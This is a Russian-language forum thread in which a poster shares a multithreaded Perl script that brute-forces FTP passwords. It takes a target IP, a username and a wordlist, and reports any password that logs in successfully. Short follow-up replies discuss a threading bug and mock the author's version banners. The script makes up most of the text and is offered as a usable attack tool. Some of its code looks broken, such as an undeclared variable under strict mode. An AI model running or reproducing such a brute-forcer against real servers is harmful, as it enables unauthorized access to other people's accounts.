Кароче я знаю что в инете полно таких брутеров. Я писал для освоения Perl'a
Брутер многопоточный
Код:
#!perl -w
use strict;
use Net::FTP; # if doesn't work use NET::FTP
use threads;
use threads::shared;
my @pass : shared;
my @trl;
my $ip = "$ARGV[0]";
my $login = "$ARGV[1]";
my $thr = $ARGV[2];
open (SRC, "$ARGV[3]") or die "Can't open:$!";
Next:
@pass = pass();
for(0..$thr)
{
$trl[$_] = threads->create(\&Brut, $ok);
}
for(0..$thr)
{
$trl[$_]->join;
}
sub Brut
{
while (@pass)
{
my $pass = shift @pass;
print "Checking password : \t$pass\n";
my $ftp = Net::FTP->new($ip);
$ok = $ftp->login($login,$pass);
if ($ok) {
print "Pass for $ip is $pass\n";
exit;
}
}
}
goto Next;
sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
my $n = @mas;
if ($n == 0) {
print "Password not found\n";
exit;
} else {
return @mas;
}
}
помойму у меня какая то проблема вызникала с этим и я решил забить =)))
Вобщем учту и доработаю. Написал версию с ГУИ но там какие то траблы небольшие были, мб позже выложу
вот с этим проблемка и возникла
После того как брутер находит верный пасс записывает его в файл и выполняет die, после чего интепритатор перла выдаёт ошибку, типа невозможно создать новый поток ибо die()
По идее он работает, просто несовем эстетично
Кароче как разберусь, выложу
Строчка просто убила. Что за мания писать примитивный код и вставлять свои нелепые с0ded by ... version 0.0.0.1 pre alpha. На всякий случай, если будут баги, можно списать все на альфа-версию .